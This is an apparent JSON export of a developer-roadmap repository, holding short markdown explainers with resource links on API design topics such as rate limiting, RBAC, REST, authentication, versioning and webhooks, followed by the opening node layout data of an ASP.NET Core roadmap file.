    "content": "# RabbitMQ in API Design\n\nRabbitMQ is an open-source message-broker software/system that plays a crucial role in API design, specifically in facilitating effective and efficient inter-process communication. It implements the Advanced Message Queuing Protocol (AMQP) to enable secure and reliable data transmission in various formats such as text, binary, or serialized objects. RabbitMQ comes in handy in decoupling application processes for scalability and robustness, whilst ensuring that data delivery occurs safely and seamlessly. It introduces queuing as a way of handling multiple users or service calls at once hence enhancing responsiveness and performance of APIs. Its queue system elegantly digests API request loads, allowing services to evenly process data while preventing overloading.\n\nVisit the following resources to learn more:\n\n- [@official@RabbitMQ Website](https://www.rabbitmq.com/)\n- [@video@Intro to RabbitMQ](https://www.youtube.com/watch?v=bfVddTJNiAw)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/rate-limiting--throttling@tPVtRV818D8zAAuNbqPNa.md",
    "content": "# Rate Limiting / Throttling in API Design\n\nRate Limiting, often referred to as Throttling, is a fundamental aspect of API Design aimed at controlling the number of requests a client can make to an API within a specified timeframe. This technique ensures fair usage, enhances security, prevents server overload, and allows an even distribution of resources. It also minimizes the risks associated with abusive behaviors or DDoS attacks. Effective rate limiting strategy involves defining the limits based on the API's capacity and clients' reasonable needs, with flexibility to tweak these limits when necessary. Understanding rate limiting and its significance is crucial for building resilient, secure, and scalable API platforms.\n\nVisit the following resources to learn more:\n\n- [@article@API Management 101: Rate Limiting](https://tyk.io/learning-center/api-rate-limiting/)\n- [@article@API Rate Limiting vs. Throttling](https://blog.stoplight.io/best-practices-api-rate-limiting-vs-throttling)\n- [@video@What is Rate Limiting / API Throttling? | System Design Concepts](https://www.youtube.com/watch?v=9CIjoWPwAhU)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/rate-limiting@O7wjldZ3yTA2s_F-UnJw_.md",
    "content": "# Rate Limiting in API Design\n\nRate Limiting is a critical aspect of API Design that dictates the number of API calls a client can make within a specified timeframe. This helps in managing resource allocation, preventing abuse of the API, and maintaining the overall health of the API system. Proper rate limiting measures should be in place to ensure the API's stability, thereby delivering a consistent and reliable service to all consumers. It works primarily by setting a limit on the frequency of client requests, thereby preventing individual users from overloading the system. It is crucial to design and implement rate limiting carefully for maintaining API availability and performance.\n\nVisit the following resources to learn more:\n\n- [@article@Rate limit](https://developer.mozilla.org/en-US/docs/Glossary/Rate_limit)\n- [@article@Throttle](https://developer.mozilla.org/en-US/docs/Glossary/Throttle)\n- [@article@Debounce](https://developer.mozilla.org/en-US/docs/Glossary/Debounce)\n- [@article@What is rate limiting? | Rate limiting and bots](https://www.cloudflare.com/en-gb/learning/bots/what-is-rate-limiting/)\n- [@video@Rate Limiting techniques visualization](https://smudge.ai/blog/ratelimit-algorithms)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/rbac@wFsbmMi5Ey9UyDADdbdPW.md",
    "content": "# Role Based Access Control (RBAC) in API Design\n\nRole-Based Access Control (RBAC) is a method of managing authorization in API design that assigns system access to users based on their role within an organization. RBAC is crucial in controlling which endpoints a user can call, and what operations they are allowed to execute. In the context of API design, RBAC ensures appropriate levels of access for different types of users to guarantee data security and integrity. It simplifies the process of security administration by assigning privileges based on a user's job function, rather than on an individual basis.\n\nVisit the following resources to learn more:\n\n- [@article@Role-Based Access Control](https://auth0.com/docs/manage-users/access-control/rbac)\n- [@article@What is Role-based Access Control (RBAC)?](https://www.redhat.com/en/topics/security/what-is-role-based-access-control)\n- [@video@Role-based Access Control (RBAC) vs. Attribute-based Access Control (ABAC)](https://www.youtube.com/watch?v=rvZ35YW4t5k)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/readmecom@LxWHkhlikUaMT2G8YmVDQ.md",
    "content": "# Readme.com in the Context of API Design\n\n[Readme.com](http://Readme.com) is an invaluable tool in the realm of API Design, renowned for providing a collaborative platform for creating beautiful, dynamic and intuitive documentation. It's a tool which aids developers in outlining clear, comprehensive documentation for their API interfaces. The API documentation created with [Readme.com](http://Readme.com) is not just about the presentation of information, but enhances the reader's understanding by making it interactive. This interactive approach encourages practical learning and offers insights into how the API will behave under different circumstances. With [Readme.com](http://Readme.com), developers can create a user-focused documentation environment that streamlines the learning process and makes their APIs easier to consume and implement.\n\nVisit the following resources to learn more:\n\n- [@official@ReadMe Website](https://readme.com)\n- [@opensource@ReadMe](https://github.com/orgs/readmeio/repositories?type=source)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/real-time-apis@JE12g5cqnwmgeTle14Vxw.md",
    "content": "# Real-time APIs\n\nIn the realm of API Design, Real-time APIs hold significant value as they provide immediate access to the latest data as soon as they become available. Rather than relying on periodic polling for updates, Real-time APIs maintain an open connection between the client and the server which allows immediate, bi-directional data flow. These APIs are commonly used in applications which require real-time information such as live chat programs, financial trading platforms or online multiplayer games. Designing such APIs requires careful consideration of factors such as connection management, data consistency, and efficient handling of high volume data streams.\n\nVisit the following resources to learn more:\n\n- [@article@What are Realtime APIs?](https://www.pubnub.com/guides/realtime-api/)\n- [@article@What are realtime APIs and when to use them?](https://ably.com/topic/what-is-a-realtime-api)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/rebac@CCcY8UsGdd2pdBYHt9L4o.md",
    "content": "# ReBAC\n\nRelationship-Based Access Control (ReBAC) is an authorization model that determines access rights based on the relationships between users and resources. Instead of relying solely on roles or attributes, ReBAC considers the connections and associations between entities within a system. This allows for fine-grained control over who can access what, based on their relationship to the data or resources in question.\n\nVisit the following resources to learn more:\n\n- [@article@How to Implement Relationship Based Access Control (ReBAC)](https://www.freecodecamp.org/news/implement-relationship-based-access-control/)\n- [@article@Relationship-based Access Control (ReBAC)](https://docs.aserto.com/docs/authorization-basics/authorization-models/rebac)\n- [@video@Understanding Relationship Based Access Control (ReBAC)](https://www.youtube.com/watch?v=xCqpxiPXnCk)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/rest-principles@9WI_z34jIFXwoUQuChyRU.md",
    "content": "# REST Principles in API Design\n\nREST (Representational State Transfer) is an important architectural style used in API design. It defines a set of rules and conventions through which systems communicate over a network. Key characteristics of REST include statelessness, client-server communication, cacheability, and a uniform interface. Understanding and applying these principles properly can help in designing robust, scalable, and high-performance APIs. REST principles revolve around resources and their manipulation to achieve desired outcomes. By following these principles, developers can ensure that their API design is in line with web standards, thus improving interoperability across different systems.\n\nVisit the following resources to learn more:\n\n- [@article@REST API Principles | A Comprehensive Overview](https://blog.dreamfactory.com/rest-apis-an-overview-of-basic-principles)\n- [@article@REST principles](https://ninenines.eu/docs/en/cowboy/2.12/guide/rest_principles/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/restful-apis@BvwdASMvuNQ9DNgzdSZ4o.md",
    "content": "# RESTful APIs\n\nRESTful APIs, or Representational State Transfer APIs, are a set of conventions for designing networked applications. They utilize HTTP methods to read, update and delete data. They offer a simple and standardized way to build web services that can be easily consumed by different clients. The key principles of a RESTful API include stateless client-server communication, cacheable data, and a uniform interface, making the API easy to understand, flexible, and scalable. Moreover, it relies heavily on the use of resources and their representations, making it a popular choice in API design due to its performance, scalability, simplicity, and reliability.\n\nVisit the following resources to learn more:\n\n- [@article@What is REST?](https://restfulapi.net/)\n- [@article@What is a RESTul API?](https://aws.amazon.com/what-is/restful-api/)\n- [@video@Understanding RESTful APIs](https://www.youtube.com/watch?v=lsMQRaeKNDk)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/rfc-7807----problem-details-for-apis@5CxU3inGcSHp-TDg3BQiY.md",
    "content": "# RFC 7807 - Problem Details for HTTP APIs in Error Handling\n\nThe practice of API Design includes a significant focus on handling errors effectively and transparently. Among the widespread standards being adopted, the RFC 7807 or Problem Details for HTTP APIs plays a crucial role. This specification provides a standardized format for sending problem or error details from an HTTP API so developers engaging with the API do not need to parse non-standard error messages and can anticipate the structure of potential errors. In essence, RFC 7807 improves the usability and comprehension of your API, providing a better developer experience and encouraging the efficient use of your API. Implementing it paves the way to robust and accountable systems, where issues can be traced, identified, and solved more conveniently.\n\nVisit the following resources to learn more:\n\n- [@article@RFC 7807 - Problem Details for HTTP APIs](https://datatracker.ietf.org/doc/html/rfc7807)\n- [@article@RFC 9457 - Problem Details for HTTP APIs](https://www.rfc-editor.org/rfc/rfc9457.html)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/role-based-access-control-rbac@wFsbmMi5Ey9UyDADdbdPW.md",
    "content": "# Role Based Access Control (RBAC) in API Design\n\nRole-Based Access Control (RBAC) is a method of managing authorization in API design that assigns system access to users based on their role within an organization. RBAC is crucial in controlling which endpoints a user can call, and what operations they are allowed to execute. In the context of API design, RBAC ensures appropriate levels of access for different types of users to guarantee data security and integrity. It simplifies the process of security administration by assigning privileges based on a user's job function, rather than on an individual basis.\n\nVisit the following resources to learn more:\n\n- [@article@Role-Based Access Control](https://auth0.com/docs/manage-users/access-control/rbac)\n- [@article@What is Role-based Access Control (RBAC)?](https://www.redhat.com/en/topics/security/what-is-role-based-access-control)\n- [@video@Role-based Access Control (RBAC) vs. Attribute-based Access Control (ABAC)](https://www.youtube.com/watch?v=rvZ35YW4t5k)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/server-sent-events@iNsXTtcIHsI_i-mCfjGYn.md",
    "content": "# Server Sent Events under Real-time APIs\n\nServer-Sent Events (SSE) represent an explicit concept in the design of Real-time APIs. Unlike traditional approaches where a client sends a request and awaits a response from the server, SSE enables a server to push data to clients whenever a particular event takes place. SSE is especially fundamental in API design when it comes to the development of applications where real-time data is essential, such as live news updates, real-time gaming, or live-streaming services. Designing APIs with the SSE approach ensures a more dynamic and responsive user experience.\n\nVisit the following resources to learn more:\n\n- [@article@Using server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events)\n- [@video@Server-Sent Events | Postman Level Up](https://www.youtube.com/watch?v=KrE044J8jEQ)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/session-based-auth@eQWoy4CpYP3TJL2bbhPB_.md",
    "content": "# Session Based Authentication in API Design\n\nApplication Programming Interfaces (APIs) are critical for building software applications. Among several key considerations during API design, one is deciding how to implement authentication and security. Session Based Authentication is one popular way to apply security in API design.\n\nThis method revolves around the server creating a session for the user after they successfully log in, associating it with a session identifier. This Session ID is then stored client-side within a cookie. On subsequent requests, the server validates the Session ID before processing the API call. The server will destroy the session after the user logs out, thereby invalidating the Session ID.\n\nUnderstanding Session Based Authentication is crucial for secure API design, especially in scenarios where security is a top priority or in legacy systems where this method is prevalent.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Session Based Authentication](https://roadmap.sh/guides/session-based-authentication)\n- [@article@Session vs Token Authentication](https://www.authgear.com/post/session-vs-token-authentication)\n- [@video@Session Based Authentication - Roadmap.sh](https://www.youtube.com/watch?v=gKkBEOq_shs)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/simple-json-apis@TVR-SkErlOHbDKLBGfxep.md",
    "content": "# Simple JSON APIs\n\nSimple JSON (JavaScript Object Notation) APIs are a popular form of API or \"Application Programming Interface\" which utilise JSON to exchange data between servers and web applications. This method has gained prominence mainly for its simplicity, light weight, and easy readability. In the context of API design, a well-structured JSON API allows developers to efficiently interact with the backend and retrieve only the data they need in a consistent and comprehensible manner. From reducing redundant data to enabling quick parsing, Simple JSON APIs provide numerous benefits to improve the overall performance of applications. Designing a good JSON API requires careful planning, sound knowledge of HTTP methods, endpoints, error handling mechanisms, and most importantly, a clear understanding of the application's data requirements.\n\nVisit the following resources to learn more:\n\n- [@opensource@Specification for Building JSON APIs](https://github.com/json-api/json-api)\n- [@video@JSON API: Explained in 4 Minutes](https://www.youtube.com/watch?v=N-4prIh7t38)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/soap-apis@Wwd-0PjrtViMFWxRGaQey.md",
    "content": "# SOAP APIs\n\nSOAP (Simple Object Access Protocol) APIs are a standard communication protocol system that permits programs that run on different operating systems (like Linux and Windows) to communicate using Hypertext Transfer Protocol (HTTP) and its Extensible Markup Language (XML). In the context of API Design, SOAP APIs offer a robust and well-defined process for interaction between various software applications, mostly over a network. They are highly extensible, versatile and support a wide range of communications protocols. Despite being more complex compared to other API types like REST, SOAP APIs ensure high reliability and security, making them the choice for certain business-focused, high-transaction applications.\n\nVisit the following resources to learn more:\n\n- [@article@What are SOAP APIs?](https://www.indeed.com/career-advice/career-development/what-is-soap-api)\n- [@article@SOAP vs REST 101: Understand The Differences](https://www.soapui.org/learn/api/soap-vs-rest-api/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/standards-and-compliance@yvdfoly5WHHTq2Puss355.md",
    "content": "# Standards and Compliance in API Design\n\nWhen designing APIs, it's crucial to consider the concept of standards and compliance. Standards represent the set of rules and best practices that guide developers to create well-structured and easily maintainable APIs. They can range from the proper structure of the endpoints, the standardization of error responses, to naming conventions, and the usage of HTTP verbs. Compliance on the other hand, emphasizes on meeting protocol requirements or standards such as REST or SOAP. Furthermore, operating within regulated industries can also necessitate certain compliance measures like GDPR, HIPAA and others. Compliance in API Design ensures interoperability and safety of data transmission between systems.\n\nVisit the following resources to learn more:\n\n- [@article@What is API Compliance?](https://tyk.io/learning-center/api-compliance/)\n- [@article@What is API Compliance and Why is it important?](https://www.traceable.ai/blog-post/achieve-api-compliance)\n- [@article@REST API Standards](https://www.integrate.io/blog/rest-api-standards/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/stoplight@OpS2NX1lPTOtfjV1wKtC4.md",
    "content": "# Stoplight API Design\n\nStoplight is an advanced tool that offers a comprehensive platform for technical teams to handle all aspects of API design. Leveraging Stoplight, teams can design, document and develop APIs in a more collaborative and streamlined manner. It uses an OpenAPI specification and allows users to design APIs visually, making API development easier. With its ability to auto-generate API documentation, performing API mock testing, and providing API management features, Stoplight plays a crucial role in adopting a design-first approach in API development. By using Stoplight, APIs can be designed to be easy-to-use, scalable, and robust from the outset, which ultimately improves the overall development process and quality of the APIs.\n\nVisit the following resources to learn more:\n\n- [@official@Stoplight Website](https://stoplight.io/)\n- [@opensource@stoplightio](https://github.com/stoplightio)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/swagger--open-api@5RY7AlfRQydjxWK65Z4cv.md",
    "content": "# Swagger / Open API\n\nSwagger, also known as OpenAPI (not to be confused with OpenAI), is a set of tools specifically used for designing, building, and documenting RESTful Web services. API developers heavily rely on it due to its incredible feature for designing APIs with a clear and easy-to-understand approach. By utilizing the OpenAPI Specification (OAS), developers can accurately define a RESTful API that can easily be used across various programming languages. This powerful universal language is a key component for effective and efficient API design.\n\nVisit the following resources to learn more:\n\n- [@official@Swagger Website](https://swagger.io/)\n- [@official@OpenAPI Inititive](https://www.openapis.org/)\n- [@article@What is Swagger?](https://blog.hubspot.com/website/what-is-swagger)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/synchronous-vs-asynchronous-apis@--mmTKhG58_elbUqyn90G.md",
    "content": "# Synchronous vs Asynchronous APIs\n\nWhen designing APIs, one critical decision is whether to create a synchronous or asynchronous API. Synchronous APIs are those that hold a connection open and wait for a response before moving on, hence operating in a sequential manner. This can lead to efficient, simple-to-understand coding but can pose performance issues when dealing with long tasks since the caller has to wait until the process finishes.\n\nOn the other hand, Asynchronous APIs do not wait for a response before moving on to the next task, allowing multiple operations to be executed simultaneously. This can result in improved performance and responsiveness especially in applications that need to handle multiple requests concurrently. However, coding for asynchronous APIs can be complex due to issues such as race conditions and callbacks. Understanding the differences between these two types of API design is crucial for creating efficient and effective APIs.\n\nVisit the following resources to learn more:\n\n- [@article@Asynchronous APIs — Everything You Need to Know](https://blog.hubspot.com/website/asynchronous-api)\n- [@article@The Differences Between Synchronous and Asynchronous APIs](https://nordicapis.com/the-differences-between-synchronous-and-asynchronous-apis/)\n- [@article@Understanding Asyncronous APIs](https://blog.postman.com/understanding-asynchronous-apis/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/token-based-auth@QTH7sy9uQZWl6ieBz7erY.md",
    "content": "# Token Based Auth in API Design\n\nToken-based authentication is a crucial aspect of API design. It involves providing the user with a token that validates their identity after they have successfully logged in. Once the token is obtained, users can use it to access resources and services provided by the API. This token is usually passed in the headers of subsequent HTTP requests done by the client. One key advantage of token-based auth is that tokens can be created and checked by the server without storing them persistently, which can help to scale applications more easily. This authentication method enhances the security and scalability of web applications and it is mainly used in modern API strategies, including RESTful APIs.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Token Based Authentication](https://roadmap.sh/guides/token-authentication)\n- [@article@What Is Token-Based Authentication?](https://www.okta.com/uk/identity-101/what-is-token-based-authentication/)\n- [@video@Session vs Token Authentication in 100 Seconds](https://www.youtube.com/watch?v=UBUNrFtufWo)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/understand-tcp--ip@KG3wO86F8Of27fU7QRcsn.md",
    "content": "# Understand TCP / IP\n\nWhen designing APIs, an essential building block is the understanding of TCP/IP. TCP/IP, standing for Transmission Control Protocol/Internet Protocol, is the suite of communications protocols used to connect hosts on the Internet. It provides ordered, error-checked delivery of streams of bytes from a program on one computer to another program on another computer. If you want to understand how APIs communicate over networks, knowing the fundamental working of TCP/IP is indispensable. Fully appreciating this topic will strengthen your grasp on API design and help you make more informed decisions when creating APIs.\n\nVisit the following resources to learn more:\n\n- [@article@What is Transmission Control Protocol TCP/IP?](https://www.fortinet.com/resources/cyberglossary/tcp-ip)\n- [@article@What is TCP/IP?](https://www.cloudflare.com/en-gb/learning/ddos/glossary/tcp-ip/)\n- [@video@what is TCP/IP and OSI?](https://www.youtube.com/watch?v=CRdL1PcherM)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/unit-testing@JvmW78cDm84GNhq8VEYZp.md",
    "content": "# Unit Testing in API Design\n\nUnit Testing, in the context of API design, refers to the process of testing the individual components or functions of an API independently to ensure that each part is working correctly. It is typically performed at the development stage. The chief goal of Unit Testing is to isolate each component and validate its correct operation, thereby increasing confidence in the stability of the API as a whole. It lays a solid foundation for integration testing and ultimately leads to reliable, bug-free APIs. Whether your API is RESTful, SOAP, or GraphQL, unit testing is a critical step in API design and development.\n\nVisit the following resources to learn more:\n\n- [@article@How to write unit tests for your REST API](https://medium.com/@oyetoketoby80/how-to-write-unit-test-for-your-rest-api-f8f71376273f)\n- [@article@Unit test a REST API](https://www.testim.io/blog/unit-test-rest-api/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/uri-design@b3qRTLwCC_9uDoPGrd9Bu.md",
    "content": "# URI Design in API\n\nURI (Uniform Resource Identifier) is a string of characters used to identify a name or a resource on the Internet. Designing URIs carefully is a crucial part of creating a smooth API interface that is easy to understand, remember and use. Good URI design ensures that related resources are grouped together in a logical manner and can greatly impact the usability and maintainability of an API. It involves crafting standardised, intuitive HTTP paths that take advantage of the hierarchical nature of URLs to provide a better structure to the API. This hierarchy can then be used to expand the API over time without breaking existing clients' functionality.\n\nVisit the following resources to learn more:\n\n- [@article@Guidelines for URI Design](https://css-tricks.com/guidelines-for-uri-design/)\n- [@article@Designing URIs](https://www.oreilly.com/library/view/restful-web-services/9780596809140/ch04.html)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/url-query--path-parameters@P-rGIk50Bg7nFmWieAW07.md",
    "content": "# URL, Query & Path Parameters\n\nWhen designing APIs, an integral part involves dealing with uniform resource locators (URLs), query parameters, and path parameters. These components play crucial parts in how the API sends and retrieves data. The URL forms the basis of the API, given that it identifies the resource on the server. Query parameters are used to filter specific results, sorting or show specific data fields. On the other hand, Path parameters serve as placeholders for variable data that will be input into the URL, allowing us to customize the data response. Understanding the usage of URL, query, and path parameters is of utmost importance for creating efficient, scalable, and user-friendly APIs.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Path Variables and Query Parameters in HTTP Requests](https://medium.com/@averydcs/understanding-path-variables-and-query-parameters-in-http-requests-232248b71a8)\n- [@article@Describing parameters](https://swagger.io/docs/specification/describing-parameters/)\n- [@article@How API Parameters Work: Query, Path, Header, and Body](https://treblle.com/blog/api-parameters-query-path-header-body)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/versioning-strategies@itILK2SXvLvAjk1Kul7EK.md",
    "content": "# Versioning Strategies in API Design\n\nAPI Versioning is a critical component of API Design and Management. As the APIs evolve over time to meet the new business requirements and functionality enhancements, it is crucial to manage the changes in a way that doesn't break the existing client applications. This calls for effective versioning strategies in API design. There are different versioning strategies like URI versioning, Request Header versioning, and Media Type versioning which are adopted based on the ease of implementation, client compatibility, and accessibility. Understanding each strategy and its pros and cons can lead to better API Design and maintainability.\n\nVisit the following resources to learn more:\n\n- [@article@What is API Versioning?](https://www.postman.com/api-platform/api-versioning/)\n- [@article@API Versioning Best Practices](https://kodekloud.com/blog/api-versioning-best-practices/)\n- [@video@Versioning your APIs](https://www.youtube.com/watch?v=Np_Jr6AvCOc)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/web-sockets@UQ8N7gcVpRLAYXgUNHBt5.md",
    "content": "# Web Sockets in API Design\n\nWeb Sockets provide a long-lived connection between a client and a server over which messages can be sent bi-directionally, in real-time. They play a crucial role in creating real-time APIs by offering a faster and more efficient communication method over the traditional HTTP. In the context of API Design, Web Sockets are used for developing APIs that require real-time data transfer, such as chat applications, live sports updates, and real-time analytics. This paradigm shift from traditional HTTP-based API design to Web Socket-based API design helps create APIs that are more responsive, dynamic, and efficient in handling real-time data.\n\nVisit the following resources to learn more:\n\n- [@article@The WebSocket API (WebSockets)](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API)\n- [@article@What are Web Sockets?](https://www.pubnub.com/guides/websockets/)\n- [@video@How Web Sockets Work](https://www.youtube.com/watch?v=pnj3Jbho5Ck)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/webhooks-vs-polling@75NVxS0iwoQXxOHCkWQxH.md",
    "content": "# Webhooks vs Polling in API Design\n\nWhen it comes to managing server communication and data exchange in API design, two commonly used methods are webhooks and polling. These two strategies handle updates and data synchronization in different ways. Polling is a technique where the client repeatedly makes a request to the server to check for updates. In this case, it's the client determining the rate of information exchange. Conversely, webhooks operate on a 'push' mechanism. The server sends updates to the client as they happen, providing real-time, efficient data synchronization. Determining which method to use often depends on the specifics of the API design requirement including the frequency of data changes, server load, and application's real-time need.\n\nVisit the following resources to learn more:\n\n- [@article@When to Use Webhooks, WebSocket, Pub/Sub, and Polling](https://hookdeck.com/webhooks/guides/when-to-use-webhooks)\n- [@article@Polling vs webhooks: when to use one over the other](https://www.merge.dev/blog/webhooks-vs-polling)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/what-are-apis@r8M3quACGO2piu0u_R4hO.md",
    "content": "# What are APIs\n\nAPIs, or Application Programming Interfaces, provide a manner in which software applications communicate with each other. They abstract the complexity of applications to allow developers to use only the essentials of the software they are working with. They define the methods and data formats an application should use in order to perform tasks, like sending, retrieving, or modifying data. Understanding APIs is integral to mastering modern software development, primarily because they allow applications to exchange data and functionality with ease, thus enabling integration and convergence of technological services. Therefore, a solid understanding of what APIs are forms the basic cornerstone of API design.\n\nVisit the following resources to learn more:\n\n- [@article@Getting Started with APIs - Postman](https://www.postman.com/what-is-an-api/)\n- [@article@API - IBM](https://www.ibm.com/topics/api)\n- [@article@What is an API? - AWS](https://aws.amazon.com/what-is/api/)\n- [@video@What is an API?](https://www.youtube.com/watch?v=s7wmiS2mSXY)"
  },
  {
    "path": "src/data/roadmaps/api-design/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/aspnet-core/aspnet-core.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"yWM-Hgse9GqGipTO1pXVK\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 31.571876400857263,\n        \"y\": 2792.4846359444336\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 232,\n      \"height\": 344,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 344\n      },\n      \"positionAbsolute\": {\n        \"x\": 31.571876400857263,\n        \"y\": 2792.4846359444336\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 344\n      }\n    },\n    {\n      \"id\": \"ocJ-ND5jn9s-ACTAPZKZb\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 433.5766878818748,\n        \"y\": 2747.005494878551\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        },\n        \"oldId\": \"wyzDVcQ87PRh0y2LIfvSU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 107,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 107\n      },\n      \"positionAbsolute\": {\n        \"x\": 433.5766878818748,\n        \"y\": 2747.005494878551\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 107\n      }\n    },\n    {\n      \"id\": \"wvA5Bi-SaA61FAso8NPj8\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 151.8791275129173,\n        \"y\": 2405.055709851968\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 90,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 90\n      },\n      \"positionAbsolute\": {\n        \"x\": 151.8791275129173,\n        \"y\": 2405.055709851968\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 90\n      }\n    },\n    {\n      \"id\": \"fSm0vh6u_Lk7esx8BSte8\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -42.04576166270948,\n        \"y\": 2081.176280366376\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 83,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 83,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -42.04576166270948,\n        \"y\": 2081.176280366376\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 83,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"yasP_jzx1hhGoZZnR0mXU\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -277.67187829620605,\n        \"y\": 2040.5330508465236\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 239,\n      \"height\": 899,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 899\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -277.67187829620605,\n        \"y\": 2040.5330508465236\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 899\n      }\n    },\n    {\n      \"id\": \"_y6A_pwr-8jDIOoLx9QHC\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 164.89029212267985,\n        \"y\": 492.75823396078783\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 70,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 70\n      },\n      \"positionAbsolute\": {\n        \"x\": 164.89029212267985,\n        \"y\": 492.75823396078783\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 70\n      }\n    },\n    {\n      \"id\": \"c8c-AWby5x5_eEF4QLEgX\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 156.59496979792925,\n        \"y\": 1986.960323803236\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 153,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 153,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 156.59496979792925,\n        \"y\": 1986.960323803236\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"BM8AtRoLAVTmjucTfCoVG\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 313.1557525665048,\n        \"y\": 1799.1664942178645\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 